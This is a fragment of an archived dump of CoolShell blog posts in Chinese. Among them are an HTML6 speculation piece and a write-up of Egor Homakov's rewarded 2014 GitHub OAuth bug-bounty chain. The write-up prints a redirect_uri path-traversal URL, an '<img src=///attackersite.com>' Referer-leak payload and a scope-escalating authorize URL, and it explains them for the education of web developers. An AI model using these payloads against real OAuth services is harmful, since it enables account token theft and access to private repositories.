Cox：大教堂、市集与市议会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8990.html\"><img alt=\"Linus：利用二级指针删除单向链表\" height=\"150\" src=\"../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8275.html\"><img alt=\"对九个超级程序员的采访\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8275.html\">对九个超级程序员的采访</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6790.html\"><img alt=\"多版本并发控制(MVCC)在分布式系统中的应用\" height=\"150\" src=\"../wp-content/uploads/2012/03/o_conditional_update_1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6790.html\">多版本并发控制(MVCC)在分布式系统中的应用</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2322.html\"><img alt=\"Unix传奇(上篇)\" height=\"150\" src=\"../wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2322.html\">Unix传奇(上篇)</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1619.html\"><img alt=\"Windows 7 的新粉丝 Linus Torvalds\" height=\"150\" src=\"../wp-content/uploads/2009/10/Linus_windows_7-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1619.html\">Windows 7 的新粉丝 Linus Torvalds</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/16910.html\">Linus：为何对象引用计数必须是原子的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-12-6 HTML6 展望.html",
    "content": "<html><body><p></p>\n<h3><img alt=\"html6\" class=\"size-full wp-image-12211 alignright\" height=\"225\" src=\"../wp-content/uploads/2014/12/html6.jpeg\" width=\"225\"/></h3>\n<h3>HTML5 概述</h3>\n<p>HTML5 是 HTML 语言最受欢迎的版本之一，它支持音频和视频、离线存储、移动端、和标签属性等等。还提供了&lt;article&gt;, &lt;section&gt;, &lt;header&gt;这样的标签来帮助开发者更好地组织页面内容。然而 HTML5 规范仍然没有最后定稿，并且它并不是一个真正意义上的语义标记语言。</p>\n<h3>HTML6 展望</h3>\n<p>你有没有曾经希望能在 HTML 中使用自定义标签？比如：使用&lt;logo&gt;来显示你的网站logo，还有使用&lt;toolbar&gt;来显示工具栏等等。我们经常使用&lt;div id=”container”&gt;和&lt;div id=”wrapper”&gt;来组织页面，在 HTML6 里我们希望可以直接使用象&lt;container&gt;和&lt;wrapper&gt;这样的自定义标签。</p>\n<p>和 XML 一样，HTML6 应该支持 namespace（命名空间），如：xmlns:xhtml=”http://www.w3.org/1999/xhtml”</p>\n<p>HTML6 代码样例：</p>\n<p><span id=\"more-12206\"></span></p>\n<pre>&lt;!DOCTYPE html&gt;\n &lt;html:html&gt;\n &lt;html:head&gt;\n &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;\n &lt;html:meta type=\"title\" value=\"Page Title\"&gt;\n &lt;html:meta type=\"description\" value=\"HTML example with namespaces\"&gt;\n &lt;html:link src=\"css/mainfile.css\" title=\"Styles\" type=\"text/css\"&gt;\n &lt;html:link src=\"js/mainfile.js\" title=\"Script\" type=\"text/javascript\"&gt;\n &lt;/html:head&gt;\n &lt;html:body&gt;\n &lt;header&gt;\n &lt;logo&gt;\n &lt;html:media type=\"image\" src=\"images/xyz.png\"&gt;\n &lt;/logo&gt;\n &lt;nav&gt;\n &lt;html:a href=\"/img1\"&gt;a1&lt;/a&gt;\n &lt;html:a href=\"/img2\"&gt;a2&lt;/a&gt;\n &lt;/nav&gt;\n &lt;/header&gt;\n &lt;content&gt;\n &lt;article&gt;\n &lt;h1&gt;Heading of main article&lt;/h1&gt;\n &lt;h2&gt;Sub-heading of main article&lt;/h2&gt;\n &lt;p&gt;[...]&lt;/p&gt;\n &lt;p&gt;[...]&lt;/p&gt;\n &lt;/article&gt;\n &lt;article&gt;\n &lt;h1&gt;The concept of HTML6&lt;/h1&gt;\n &lt;h2&gt;Understanding the basics&lt;/h2&gt;\n &lt;p&gt;[...]&lt;/p&gt;\n &lt;/article&gt;\n &lt;/content&gt;\n &lt;footer&gt;\n &lt;copyright&gt;This site is © to Anonymous 2014&lt;/copyright&gt;\n &lt;/footer&gt;\n &lt;/html:body&gt;\n &lt;/html:html&gt;</pre>\n<p>在上面的代码中，你也许注意到了一些奇怪的&lt;html:x&gt;标签，它们是 W3C 和 HTML6 规范中在命名空间里定义的标签。例如：&lt;html:title&gt;负责设定你浏览器的标题栏文字，&lt;html:media&gt;负责显示图片等等。用户可以自己定义标签以便 JavaScript 和 CSS 识别和处理，这样页面代码会更易读，语义更清晰。</p>\n<h3>HTML6 APIs</h3>\n<p>HTML6 的标签前带有命名空间，如：&lt;html:html&gt;, &lt;html:head&gt;等等。</p>\n<p>1. &lt;html:html&gt;</p>\n<pre>&lt;!DOCTYPE html&gt;\n &lt;html:html&gt;// this is equivalent to &lt;html&gt; tag written in previous HTML versions\n &lt;!-- sample of HTML document --&gt;\n &lt;/html:html&gt;</pre>\n<p>2. &lt;html:head&gt; 和 &lt;head&gt; 标签一样。</p>\n<pre>&lt;!DOCTYPE html&gt;\n &lt;html:html&gt;\n &lt;html:head&gt;\n &lt;!-- Main content would come here, like the &lt;html:title&gt; tag --&gt;\n &lt;/html:head&gt;\n &lt;/html:html&gt;</pre>\n<p>3. &lt;html:title&gt; 和 &lt;title&gt; 标签类似。</p>\n<pre>&lt;!DOCTYPE html&gt;\n &lt;html:html&gt;\n &lt;html:head&gt;\n &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;\n &lt;/html:head&gt;\n &lt;/html:html&gt;</pre>\n<p>4. &lt;html:meta&gt; 和 &lt;meta&gt; 标签类似，不同之处在于，在 HTML5 中你只能使用标准的元数据类型，如：”keywords”, “description”, “author”等，而在 HTML6 中你可以使用任何元数据类型。</p>\n<pre>&lt;!DOCTYPE html&gt;\n &lt;html:html&gt;\n &lt;html:head&gt;\n &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;\n &lt;html:meta type=\"description\" value=\"HTML example with namespaces\"&gt;\n &lt;/html:head&gt;\n &lt;/html:html&gt;</pre>\n<p>5. &lt;html:link&gt; 和 HTML6 之前版本的 &lt;link&gt; 标签类似。</p>\n<pre>&lt;!DOCTYPE html&gt;\n &lt;html:html&gt;\n &lt;html:head&gt;\n &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;\n &lt;html:link src=\"js/mainfile.js\" title=\"Script\" type=\"text/javascript\"&gt;\n &lt;/html:head&gt;\n &lt;/html:html&gt;</pre>\n<p>6. &lt;html:body&gt; 和 &lt;body&gt; 标签一样。</p>\n<pre>&lt;!DOCTYPE html&gt;\n &lt;html:html&gt;\n &lt;html:head&gt;\n &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;\n &lt;/html:head&gt;\n &lt;html:body&gt;\n &lt;!-- This is where your website content is placed --&gt;\n &lt;/html:body&gt;\n &lt;/html:html&gt;</pre>\n<p>7. &lt;html:a&gt; 和 &lt;a&gt; 标签类似，区别是 &lt;html:a&gt; 只有 “href” 一个属性。</p>\n<pre>&lt;!DOCTYPE html&gt;\n &lt;html:html&gt;\n &lt;html:head&gt;\n &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;\n &lt;/html:head&gt;\n &lt;html:body&gt;\n &lt;html:a href=\"http://siteurl\"&gt;Go to siteurl.com!&lt;/html:a&gt;\n &lt;/html:body&gt;\n &lt;/html:html&gt;</pre>\n<p>8. &lt;html：button&gt; 和 &lt;button&gt; 及 &lt;input type=”button”&gt; 一样。</p>\n<pre>&lt;!DOCTYPE html&gt;\n &lt;html:html&gt;\n &lt;html:head&gt;\n &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;\n &lt;/html:head&gt;\n &lt;html:body&gt;\n &lt;html:button&gt;Click Here&lt;/html:button&gt;\n &lt;/html:body&gt;\n &lt;/html:html&gt;</pre>\n<p>9. &lt;html:media&gt; 涵盖 &lt;img&gt;, &lt;video&gt;, &lt;embed&gt; 等标签的所有功能。&lt;html:media&gt; 的好处是你不用根据不同的媒体文件类型使用不同的标签，媒体的类型由浏览器从文件内容（类型属性，扩展名，和MIME type）中来判断。</p>\n<pre>&lt;!DOCTYPE html&gt;\n &lt;html:html&gt;\n &lt;html:head&gt;\n &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;\n &lt;/html:head&gt;\n &lt;html:body&gt;\n &lt;!-- Image would come here --&gt;\n &lt;html:media src=\"img1/logo.jpg\" type=\"image\"&gt;\n &lt;!-- Video doesn't need a type --&gt;\n &lt;html:media src=\"videos/slide.mov\"&gt;\n &lt;/html:body&gt;\n &lt;/html:html&gt;</pre>\n<h3>标签类型(Tag types)概述</h3>\n<p>和 HTML5 一样， HTML6 也有两种标签类型：单标签（single tag) 和双标签（double tag）</p>\n<pre>&lt;html:meta type=\"author\" content=\"single tag\"&gt;\n &lt;html:meta type=\"author\" content=\"double tag\" /&gt;</pre>\n<p>单标签不需要结束符’/’</p>\n<h3>结语</h3>\n<p>HTML6 规范还未发布，本文原作者 <a href=\"http://html6spec.com/\">Oscar Godson</a> 只是为我们提供了一个对 HTML6 规范的展望，或者说他希望 HTML6 能够支持的一些新特性。</p>\n<p>原文链接：<a href=\"http://java.dzone.com/articles/look-html6-what-it-and-what\">A Look Into HTML6 – What Is It, and What Does it Have to Offer?</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5537.html\"><img alt=\"一些文章资源和趣闻\" height=\"150\" src=\"../wp-content/uploads/2011/11/stackparts.com_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/12206.html\">HTML6 展望</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-2-10 从“黑掉Github”学Web安全开发.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright\" height=\"251\" src=\"../wp-content/uploads/2014/02/Github-Security.png\" width=\"236\"/>Egor Homakov（Twitter: <a href=\"http://twitter.com/homakov\">@homakov</a> 个人网站: <a href=\"http://egorhomakov.com/\">EgorHomakov.com</a>）是一个Web安全的布道士，他这两天把github给黑了，并给github报了5个安全方面的bug，他在他的这篇blog——《<a href=\"http://homakov.blogspot.com/2014/02/how-i-hacked-github-again.html\" target=\"_blank\">How I hacked Github again</a>》（墙）说明了这5个安全bug以及他把github黑掉的思路。Egor的这篇文章讲得比较简单，很多地方一笔带过，所以，<strong>我在这里用我的语言给大家阐述一下黑掉Github的思路以及原文中所提到的那5个bug。希望这篇文章能让从事Web开发的同学们警惕</strong>。关于Web开发中的安全事项，大家可以看看这篇文章《<a href=\"https://coolshell.cn/articles/6043.html\" target=\"_blank\" title=\"Web开发中需要了解的东西\">Web开发中的你需要了解的东西</a>》</p>\n<h4>OAuth简介</h4>\n<p>首先，这个故事要从<a href=\"https://developer.github.com/v3/oauth/\" target=\"_blank\">Github OAuth</a>讲起。所以，我们需要先知道什么是<a href=\"http://en.wikipedia.org/wiki/OAuth\" target=\"_blank\">OAuth</a>。所谓OAuth就是说，第三方的应用可以通过你的授权而不用知道你的帐号密码能够访问你在某网站的你自己的数据或功能。像Google, Facebook, Twitter等网站都提供了OAuth服务，提供OAuth服务的网站一般都有很多开放的API，第三方应用会调用这些API来开发他们的应用以让用户拥有更多的功能，但是，当用户在使用这些第三方应用的时候，这些第三方的应用会来访问用户的帐户内的功能和数据，所以，当第三应用要干这些事的时候，我们不能让第三方应用弹出一个对话框来问用户要他的帐号密码，不然第三方的应用就把用户的密码给获取了，所以，OAuth协议会跳转到一个页面，让用户授权给这个第三方应用以某些权限，然后，这个权限授权的记录保存在Google/Facebook/Twitter上，并向第三方应用返回一个授权token，于是第三方的应用通过这个token来操作某用户帐号的功能和数据时，就畅通无阻了。下图简单地说明了Twitter的OAuth的授权过程。</p>\n<p><span id=\"more-11021\"></span></p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-11022\" height=\"375\" src=\"../wp-content/uploads/2014/02/oauth-authentication.png\" width=\"630\"/></p>\n<p style=\"text-align: left;\">从上面的流程图中，我们可以看OAuth不管是1.0还是2.0版本都是一个比较复杂的协议，所以，在Server端要把OAuth实现对并不是一些容易事，其总是或多或少会有些小错误。Egor就找到了几个Github的OAuth的实现的问题。</p>\n<h4 style=\"text-align: left;\">OAuth的Callback</h4>\n<p>还需要注意的是，因为OAuth是需要跳到主站的网页上去让用户授权，当用户授权完后，需要跳转回原网页，所以，一般来说，OAuth授权页都会带一个 redirect_url的参数，用于指定跳转回原来的网页。Github使用的这个跳转参数是redirect_uri参数。一般来说，redirect_uri这个参数需要在服务器端进行验证。</p>\n<p>你想一下，如果有人可以控制这个redirect_uri这个参数，那么，你就可以让其跳转到别的网页上（可能会是个有恶意的网页）。如果你觉得跳转到别的网页上也无所谓，那么你就错了。别忘了，当你对这个第三方的应用授权通过后，服务方会给第三方应用返回一个授权token，这个token会被加到那个redirect_uri参数后面然后跳转回去，如果这个redirect_uri被别有用心的人改一个恶意的网址后，这个token也就被转过去了，于是授权token也就被泄漏过去了。</p>\n<p>知道了这一切，我们就可以理解Egor提的那5个bug是什么意思了。</p>\n<h4>第一个Bug — 没有检查重定向URL中的/../</h4>\n<p>首先，我们通过<a href=\"https://developer.github.com/v3/oauth/#redirect-urls\" target=\"_blank\">Github的 redirect_uri 的说明文档</a>我们可以看到这样的说明：</p>\n<pre class=\"EnlighterJSRAW\">如果 CALLBACK URL是: http://example.com/path\n\nGOOD: https://example.com/path\nGOOD: http://example.com/path/subdir/other\n\nBAD: http://example.com/bar\nBAD: http://example.com/\nBAD: http://example.com:8080/path\nBAD: http://oauth.example.com:8080/path\nBAD: http://example.org</pre>\n<p>而Github对于redirect_uri做了限制，要求只能跳回到 https://gist.github.com/auth/github/callback/，也就是说，域名是gist.github.com，目录是/auth/github/callback/，服务器端做了这个限制，看似很安全了。</p>\n<p>但是，Egor发现，Github的服务器端并没有验证.. /../../这样的情况。</p>\n<p>于是，Egor相当于构造了一个下面这样的Redirect URL：</p>\n<pre style=\"font-size: 10pt;\">https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE</pre>\n<p>于是上面的URL就相当于：</p>\n<pre style=\"font-size: 10pt;\">https://gist.github.com/homakov/8820324?code=CODE</pre>\n<p>你可以看到，认证后的跳转网页转到了别的地方去（并非是github限制的地方）——我们知道Github的gist虽然是给你分享代码片段的，但是也可以用来定制自己的东西的（比如markdown），这个gist的网页当然是被Egor所控制的。</p>\n<h4>第二个BUG — 没有校验token</h4>\n<p>第一个bug其实并没有什么，如果服务器端要校验一下token是否和之前生成的token的redirect_uri一模一样，只要服务器做了这个验证，第一个bug完全没有什么用处，但是，github的服务端并没有验证。</p>\n<p>这就是第二个bug，于是第一个和第二个bug组合起来成了一个相当有威力的安全漏洞。</p>\n<p>也就是说，token的生成要考虑redirect_uri，这样，当URL跳转的时候，会把redirect_uri和token带到跳转页面（这里的跳转页面还是github自己的），跳转页面的服务端程序要用redirect_uri来生成一个token，看看是不是和传来的token是一个样的。这就是所谓的对URL进行签名——以保证URL的不被人篡改。一般来说，对URL签名和对签名验证的因子包括，源IP，服务器时间截，session，或是再加个salt什么的。</p>\n<h4>第三个BUG — 注入跨站图片</h4>\n<p>现在，redirect_uri带着code，安全顺利地跳到了Egor构造的网页上：</p>\n<pre>https://gist.github.com/homakov/8820324?code=CODE</pre>\n<p>但是，这个是gist的网页，你无法在这个页面上运行前端（Javascript）或后端程序（Ruby——Github是Ruby做的），现在的问题是我们怎么得到那个code，因为那个code虽然后带到了我的网页上来，但那个网页还是github和用户自己的环境。</p>\n<p>到这里，一般来说，黑客会在这个页面上放一个诸如下面的一个链接，来引诱用户点击，：</p>\n<p>&lt;a href=http://hack.you.com/&gt;私人照片&lt;/a&gt;</p>\n<p>这样，当页面跳转到黑客的网站上来后，你之前的网页上的网址会被加在http头里的 Refere 参数里，这样，我就可以得到你的token了。</p>\n<p>但是，在gist上放个链接还要用户去点一下，这个太影响“用户体验”了，最好能嵌入点外部的东西。gist上可以嵌入外站的图片，但是github的开发人员并非等闲之辈，对于外站的图片，其统统会把这些图片的url代理成github自己的url，所以，你很难搞定。</p>\n<p>不过，我们可以用一个很诡异的技巧：</p>\n<p style=\"text-align: center;\"><b>&lt;img src=”///attackersite.com”&gt;</b></p>\n<p>这个是什么玩意？这个是个URL的相对路径。但是为什么会有三个///呢？呵呵。</p>\n<h5>像程序员一样的思考</h5>\n<p>这个时候，我们需要以“程序员的编程思维”来思考问题——如果你是程序员，你会怎么写校验URL的程序？你一定会想到使用正则表达式，或是用程序来匹配URL中的一些pattern。于是，</p>\n<ul>\n<li>对于绝对路径：你会匹配两个//，后面的可能会是 user@host.com（user@是可选的），然后可能会有:&lt;n&gt;端口号，然后是/，后面是服务器的路径，再往后面应该是?后面带一些参数了。</li>\n</ul>\n<ul>\n<li>对于相对路径：就没有绝对路径那么复杂了。就是些 .. 和 /再加上?和一些参数。</li>\n</ul>\n<p>好了，如果coolshell.cn网页中的&lt;img src=&gt;或&lt;a href=&gt;中用到的相对路径是 /host.com，那么浏览器会解释成：https://coolshell.cn/host.com，如果是///host.com，那么就应该被浏览器解释成 https://coolshell.cn///host.com。</p>\n<p>但是，Chrome和Firefox，会把///host.com当成绝对路径，因为其正确匹配了绝对路径的scheme。如果你正在用Chrome/Firefox看这篇文章 ，你可以看看下面的连接（源码如下）：</p>\n<p style=\"text-align: center;\"><a href=\"///www.google.com\" target=\"_blank\">CoolShell Test</a></p>\n<p><code class=\"EnlighterJSRAW\">&lt;a href=\"///www.google.com\"&gt;CoolShell Test&lt;/a&gt;</code></p>\n<p>关键是，这个Chrome/Firefox的问题被标记成了Won’t Fix，我勒个去，基本上来说，后台的程序也有可能有这样的问题，对于Perl，Python，Ruby，Node.js，PHP带的URL检查的函数库都有这样的问题。</p>\n<p>于是，我们就可以使用这样的方式给gist注入了一个第三方站点的图片（github的服务端没有察觉到（因为我们前面说过大多数语言的URL检查库都会被 Bypass了），但是浏览器端把这个链接解释到了第三方的站点上），于是请求这个图片的http头中的refere 中包含用户当前页面的URL，也包含了用户授权的code。</p>\n<p>到这里，黑客Egor已经拿到用户gist的权限并可以修改或查看用户私用的gist了。但是作者并没有满足，他想要的更多。</p>\n<h4>第四个bug – Gist把github_token放在了cookie里</h4>\n<p>于是Egor在用户的cookie里找到了 github_token</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-11030\" height=\"47\" src=\"../wp-content/uploads/2014/02/gist_cookie.png\" width=\"395\"/></p>\n<p>但是这个token没什么用，因为授权的Scope只有gists。但是，这个token不应该放在用户端的cookie里，本身就是一个安全事故，这个东西只能放在服务端（关于Web开发中的安全事项，可以看看这篇文章《<a href=\"https://coolshell.cn/articles/6043.html\" target=\"_blank\" title=\"Web开发中需要了解的东西\">Web开发中的你需要了解的东西</a>》）。</p>\n<p>于是，Egor只能另谋出路。</p>\n<h4>第五个Bug – 自动给gist授权</h4>\n<p>因为gist是github自家的，Egor所以估计github想做得简单一点，当用户访问gist的时候，不会出弹出一个OAuth的页面来让用户授权，不然，用户就会很诧异，都是你们自家的东西，还要授权？所以，Egor猜测github应该是对gist做了自动授权，于是，Egor搞了这样的一个URL（注意其中的 redirect_uri中的scope ）</p>\n<p style=\"padding: 10px 20px 20px 30px; background-color: #eee;\">https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&amp;redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%<b>2Fcallback/../../../homakov/8820324</b>&amp;response_type=code&amp;<b>scope=repo,gists,user,delete_repo,notifications</b></p>\n<p>于是，这个redirect-uri不但帮黑客拿到了访问gist的token，而且还把授权token的scope扩大到了用户的代码库等其它权限。于是你就可以黑入用户的私有代码区了。</p>\n<h4> 其它 &amp; 感想</h4>\n<p>于是，作者从 <a href=\"https://bounty.github.com/\">Github Security Bug Bounty</a> 拿到了USD $4,000的奖励！Egor一共花了从下午2点到6点一共4个小时找到了这些Bug，平均一小时1000美刀。Egor还很得瑟的说，如果Github请他做安全顾问，他只收一小时USD $400刀，这4个小时也就$1,600。呵呵。大家看看，这是多么有效率的赚钱方式。</p>\n<p>下图是Github上的赏金猎手的排行榜（<a href=\"https://bounty.github.com/index.html#leaderboard\" target=\"_blank\">https://bounty.github.com/index.html#leaderboard</a>）你可以上去挨个看看他们找到的问题，你会发现好些安全问题都很小，有些只能说是不是很规范的问题，Github都赏了几百刀。我查看了一下github的赏金政策，github赏金至少100刀，到5000刀不等。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-11053\" height=\"478\" src=\"../wp-content/uploads/2014/02/github_bounty_leaderboard.jpg\" width=\"580\"/></p>\n<p>让我们扪心自问一下，我们花了多少时间在玩那些“红包游戏”，而又搞到了多少红包？人家4个小时找了5个bug，挣了$4000美金。<strong>老天给了你我一样的时间，我们用来抽几块钱的红包，人家用自己的技能来挣奖金。这就是人和人的差距。这就是所谓的效率</strong>——你可以移步看看我写的《<a href=\"https://coolshell.cn/articles/10217.html\" target=\"_blank\" title=\"加班与效率\">加班与效率</a>》</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19395.html\"><img alt=\"HTTP API 认证授权术\" height=\"150\" src=\"../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19395.html\">HTTP API 认证授权术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8711.html\"><img alt=\"程序员疫苗：代码注入\" height=\"150\" src=\"../wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8711.html\">程序员疫苗：代码注入</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6043.html\"><img alt=\"Web开发中需要了解的东西\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6043.html\">Web开发中需要了解的东西</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5987.html\"><img alt=\"如何设计“找回用户帐号”功能\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5987.html\">如何设计“找回用户帐号”功能</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5353.html\"><img alt=\"你会做Web上的用户登录功能吗？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5353.html\">你会做Web上的用户登录功能吗？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11021.html\">从“黑掉Github”学Web安全开发</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-2-21 可视化编程.html",
    "content": "<html><body><p>本文来自《<a href=\"http://blog.interfacevision.com/design/design-visual-progarmming-languages-snapshots/\" target=\"_blank\">Visual Programming Languages – Snapshots</a>》，作者<a href=\"http://twitter.com/erichosick\" target=\"_blank\">Eric Hosick</a>收集了一堆关于可视化编程的工具，好多我都听都没听说过，我一股脑的全转过来，给大家看看，算是开开眼界了。<span style=\"line-height: 1.5em;\">本文也是参考了Wikipedia的 </span><a href=\"http://en.wikipedia.org/wiki/Visual_programming_language\" style=\"line-height: 1.5em;\">Visual Programming Language</a> 词条。</p>\n<p>另外，在原文有很多评论，其中也有很多正文没有提到的，你可以前去围观一下。</p>\n<h4 id=\"sketchpad\">SketchPad</h4>\n<p>Maybe the first. 1963.</p>\n<p><a href=\"http://mydiesel22.blogspot.com/2011/05/vector-and-digital-graphics.html\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Sketchpad\">Wikipedia</a> 和 <a href=\"http://www.youtube.com/watch?v=495nCzxM9PI&amp;feature=player_embedded\">官方网站</a></p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"407\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_sketchpad_01.jpg\" width=\"576\"/><img alt=\"\"/></p>\n<p><span id=\"more-11094\"></span></p>\n<h4 id=\"alice\">Alice</h4>\n<p><a href=\"http://www.alice.org/index.php\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Alice_%28software%29\">Wikipedia</a> 和 <a href=\"http://en.wikipedia.org/wiki/File:Alice-2-screenshot.jpg\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_alice_01.jpg\"/><img alt=\"\"/></p>\n<h4 id=\"app_inventor_for_android\">App 